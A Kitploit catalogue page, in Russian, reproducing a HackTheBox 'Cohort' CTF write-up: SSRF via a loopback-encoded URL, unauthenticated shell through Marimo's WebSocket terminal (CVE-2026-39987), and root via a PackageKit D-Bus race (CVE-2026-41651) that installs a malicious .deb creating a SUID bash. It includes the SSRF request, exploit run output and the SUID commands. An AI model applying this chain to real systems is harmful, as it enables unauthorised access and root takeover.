Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cohort-htb — HTB Cohort — SSRF, pre-auth RCE в Marimo (CVE-2026-39987) и повышение привилегий через PackageKit (CVE-2026-41651) | Kitploit
Инструменты/GitHubGitHub/iapetus12/cohort-htb
Повышение привилегийАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийПост-эксплуатацияCTFТестирование на ПроникновениеОбучение и ОбразованиеRed TeamingArchived
GitHubiapetus12/cohort-htb

cohort-htb

HTB Cohort — SSRF, pre-auth RCE в Marimo (CVE-2026-39987) и повышение привилегий через PackageKit (CVE-2026-41651)

1 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

Cohort — HTB writeup и цепочка эксплуатации

Машина Cohort (HackTheBox). Полная цепочка атаки:

  1. SSRF в Flask API (/api/validate) → обнаружение внутреннего vhost
  2. Pre-auth RCE в WebSocket-терминале Marimo 0.20.4 (CVE-2026-39987) → шелл от имени marimo
  3. Повышение привилегий через PackageKit 1.2.8 D-Bus TOCTOU (CVE-2026-41651) → SUID bash → root

Флаги намеренно не включены (правила HTB).


1. Разведка и перечисление

root@kitploit:~
10.129.93.8        cohort.htb
  • 8080 — nginx, обслуживающий Flask-приложение (эндпоинты /api/...)
  • 8888 — внутренний сервер блокнотов Marimo (vhost: nb-1be3782a8afd3ad5.cohort.htb), не доступен извне

2. SSRF → обнаружение внутреннего vhost

Приложение предоставляло эндпоинт валидации URL, который загружал удалённый контент и возвращал его. Фильтр URL можно было обойти, закодировав адрес loopback:

root@kitploit:~
POST /api/validate HTTP/1.1
Host: cohort.htb

{"url": "http://127.1:80/status"}

Это обращалось к внутреннему nginx и раскрывало настроенные upstreams, включая внутренний vhost Marimo nb-1be3782a8afd3ad5.cohort.htb → 127.0.0.1:8888.

3. Pre-auth RCE — Marimo 0.20.4 (CVE-2026-39987)

Обработчик WebSocket-терминала блокнота Marimo не проверял аутентификацию. Подключение к /terminal/ws порождает шелл bash через pty.fork().

Внутренний vhost был доступен через внешний nginx путём отправки внутреннего заголовка Host:

root@kitploit:~
./scripts/marimo_shell.py 10.129.93.8
root@kitploit:~
[+] connected to wss://10.129.93.8/terminal/ws host=nb-1be3782a8afd3ad5.cohort.htb
marimo@cohort:~$

Результат: шелл от имени marimo (uid 1000).

Перечисление от имени marimo

  • dpkg -l | grep -i packagekit → PackageKit 1.2.8-2ubuntu1.1
  • версии pkcon / polkit соответствуют уязвимому паттерну TOCTOU
  • Флаг user.txt в /home/marimo/user.txt

4. Повышение привилегий — PackageKit TOCTOU (CVE-2026-41651)

Уязвимость

PackageKit 1.2.8 имеет недостаток time-of-check / time-of-use: роль транзакции и флаги, считываемые idle-колбэком GLib, можно обогнать (race), отправив два асинхронных D-Bus-вызова в одной транзакции, так что привилегированный бэкенд выполняет второй вызов (роль NONE, без проверки аутентификации), хотя первый (SIMULATE) уже прошёл проверку авторизации.

Два вызова отправляются подряд в одной транзакции:

  1. InstallFiles(SIMULATE=4) — проходит проверку авторизации polkit
  2. InstallFiles(NONE=0) — несёт вредоносный .deb, считываемый как часть того же пакета сообщений

Вредоносный .deb запускает скрипт postinst от имени root, который создаёт SUID bash:

root@kitploit:~
cp /bin/bash /tmp/.suid_bash && chmod u+s /tmp/.suid_bash

Рабочий эксплойт

Ключевая деталь: два вызова должны быть отправлены вместе, чтобы бэкенд прочитал оба сообщения в одном пакете. Используйте GIO async call() + flush_sync():

root@kitploit:~
./scripts/cve-2026-41651_gio.py
root@kitploit:~
[*] CVE-2026-41651 GIO exploit
[+] TxID: /org/freedesktop/PackageKit/Transaction/22/_c3e63a1a
[*] Racing: SIMULATE=4 -> NONE=0 ...
[*] Polling for SUID bash (60s)...
........................[+] SUCCESS: SUID bash at /tmp/.suid_bash

Почему первая попытка провалилась

Изначальный эксплойт использовал python-dbus:

root@kitploit:~
./scripts/cve-2026-41651_pydbus.py   # ❌ race lost

python-dbus сериализует два вызова InstallFiles в отдельные записи, поэтому idle-колбэк бэкенда обрабатывал их как отдельные события, и гонка так и не сработала. GIO flush_sync отправляет оба D-Bus-сообщения в одном пакете записи → гонка выиграна.

Root

root@kitploit:~
/tmp/.suid_bash -p -c 'id'
# uid=1000(marimo) euid=0(root) ...

/root/root.txt доступен для чтения.


Файлы

root@kitploit:~
scripts/
├── marimo_shell.py           # CVE-2026-39987 — WebSocket shell as marimo
├── cve-2026-41651_gio.py     # CVE-2026-41651 — PackageKit TOCTOU (working, GIO)
└── cve-2026-41651_pydbus.py  # CVE-2026-41651 — first attempt (python-dbus, race lost)
Скачать инструмент